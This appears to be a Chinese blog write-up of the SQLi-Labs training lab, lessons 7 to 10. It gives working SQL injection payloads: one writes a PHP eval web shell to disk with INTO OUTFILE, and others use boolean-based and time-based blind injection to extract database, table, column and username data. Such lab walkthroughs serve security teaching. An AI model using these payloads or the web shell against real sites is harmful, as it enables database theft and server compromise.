SQLi-Labs Less7-Less10


Less-7-GET-Dump into outfile-String


考查into outfile写入文件
输入id=1
在这里插入图片描述

输入id=1'报错
在这里插入图片描述

输入id=1"不报错,说明是单引号
输入id=1'--+报错,那么再试试id=1')--+还报错,再试试id=1'))--+正常,由此判断查询语句的参数是(('$_GET[id]'))的形式。
使用into outfile写入一句话:
输入id=-1')) union select 1,2,'<?php @eval($_POST[cmd]); ?>' into outfile 'f:/cmd.php'--+
执行后报错,那么到底有没有写进一句话,需要知道Mysql变量secure_file_priv的值,如果为NULL则无法写入;如果为固定的一个路径,那么只能在指定的这个路径内写文件;否则就是任意位置都可以。
在本地上可以查看MySQL变量
select @@secure_file_priv
如果为NULL,那么就在mysql.ini里添加一句secure_file_priv=
之后方可写入文件。


Less-8-GET-Blind-Boolian based-Sing Quotes


本题考布尔盲注,这样的话只能通过看是否正常回显来推测注入的查询是否正确。
当输入id=1
在这里插入图片描述

输入id=1'
在这里插入图片描述

输入id=1'--+正常,
输入id=1' and 1=1--+正常,
输入id=1' and 1=2--+不回显,
可判定是字符型注入并且为单引号闭合。

一如既往,先判断列数,输入id=1' order by 3--+正常,
输入id=1' order by 4--+不回显,说明有三列。
判断数据库名的长度,输入id=1' and (length(database())=8)--+正常,说明长度为8。
挨个字符判断数据库名的每个字符,
这里用到substr()截取字符串的每个字符,ascii()将字符串转换成其ASCII码,
输入id=1' and (ascii(substr(database(),1,1))>97)--+正常,
在这里插入图片描述

然后通过二分法,节省效率,
输入?id=1' and (ascii(substr(database(),1,1))>110)--+正常,
输入?id=1' and (ascii(substr(database(),1,1))>116)--+不回显,
输入?id=1' and (ascii(substr(database(),1,1))>113)--+正常,
输入?id=1' and (ascii(substr(database(),1,1))>114)--+正常,
输入?id=1' and (ascii(substr(database(),1,1))>115)--+不回显,
这就说明数据库名的第一个字符ASCII码为115,即“s”。
然后测试第二个字符,
输入?id=1' and (ascii(substr(database(),2,1))>101)--+不回显,
输入?id=1' and (ascii(substr(database(),2,1))>100)--+正常,
说明第二个字符是“e“。
步骤以此类推。

接下来判断数据表个数以及数据表名的长度,
输入?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)))--+正常,说明第一个表存在,并且长度至少是1;
然后改变limit子句判断表的个数,substr()的参数判断表名长度,
当执行到?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),7,1)))--+时不回显,说明第一个表长度为6;
执行到?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 4,1),1,1)))--+不回显,说明有4个表(limit从0开始);
其实还有一个更简便的查表个数的方法,输入?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=4--+

然后是判断表名,
输入?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>97)--+正常,然后改变大于号后面的数字,查找到第一个字符的ASCII码,
再改变substr()函数的第二个参数值获取下一个字符,改变limit子句判断下一个表名。

继续是列数,列长度和列名,
列数?id=1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema='security')=3--+正常,说明users表有三列。
列长度?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),3,1))--+不回显,说明长度为2。
列名?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),1,1))>97--+
判断字段数?id=1' and 13=(select count(username) from security.users)--+正常,说明13个字段
判断字段长度?id=1' and ascii(substr((select username from security.users limit 0,1),5,1))--+不回显,说明第一条字段长度为4。
判断字段值?id=1' and ascii(substr((select username from security.users limit 0,1),1,1))>65--+
最后遍历出想要的数据来。
也可以写出脚本跑出数据来。


Less-9-GET-Blind-Time based-Single Quotes


无论是输入id=1,id=1’,id=1’'等都会返回you are in
这道题就需要使用基于时间的盲注手段。
这里就需要if表达式,
IF(condition,A,B)如果条件condition为true,则执行语句A,否则执行B。

首先判断数据库名的长度,输入?id=1' and if(length(database())=7,1,sleep(5))--+发现页面会延迟加载5秒,
输入?id=1' and if(length(database())=8,1,sleep(5))--+发现页面立即加载,说明数据库名的长度为8。

接着挨个判断数据库名的每个字符,输入?id=1' and if(ascii(substr((select database()),1,1))>114,1,sleep(5))--+正常,
输入?id=1' and if(ascii(substr((select database()),1,1))>115,1,sleep(5))--+延迟,说明第一个字符是s,然后以此类推得出数据库名。

下面查数据表个数,输入?id=1' and if(((select count(table_name) from information_schema.tables where table_schema='security')=4),1,sleep(5))--+正常,说明有4个表。

然后查每个数据表的名称长度和名称,
输入?id=1' and if(((select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=6),1,sleep(5))--+正常,可知第一个表名长为6,由此可将4个表的长度都测出来。

输入?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100),1,sleep(5))--+正常,
输入?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101),1,sleep(5))--+延迟,说明第一个表的第一个字符为“e”。

然后是查users表的列个数,列名长度,列名,
输入?id=1' and if(((select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3),1,sleep(5))--+正常,说明users表有三列,
输入?id=1' and if(((select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=2),1,sleep(5))--+正常,说明第一个字段字符长度为2,
输入?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104),1,sleep(5))--+正常,
输入?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105),1,sleep(5))--+延迟,说明第一个字符为“i”。

进而去查每个字段的值,查username字段的值,
输入?id=1' and if((ascii(substr((select username from security.users limit 0,1),1,1))>67),1,sleep(5))--+正常,
输入?id=1' and if((ascii(substr((select username from security.users limit 0,1),1,1))>68),1,sleep(5))--+延迟,说明第一个字符为“D”。


Less-10-GET-Blind-Time based-double quotes


本题相对于Less-9只是把单引号变成了双引号,但是如何在这个时间盲注测试出是单引号闭合还是双引号闭合亦或其他,个人认为可以使用
?id=1' and if(1=1,1,sleep(5))--+正常,
?id=1' and if(1=2,1,sleep(5))--+正常,
?id=1" and if(1=1,1,sleep(5))--+正常,
?id=1" and if(1=2,1,sleep(5))--+延迟,便可知本题是双引号闭合的了。
使用if语句的方法同Less-9。


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值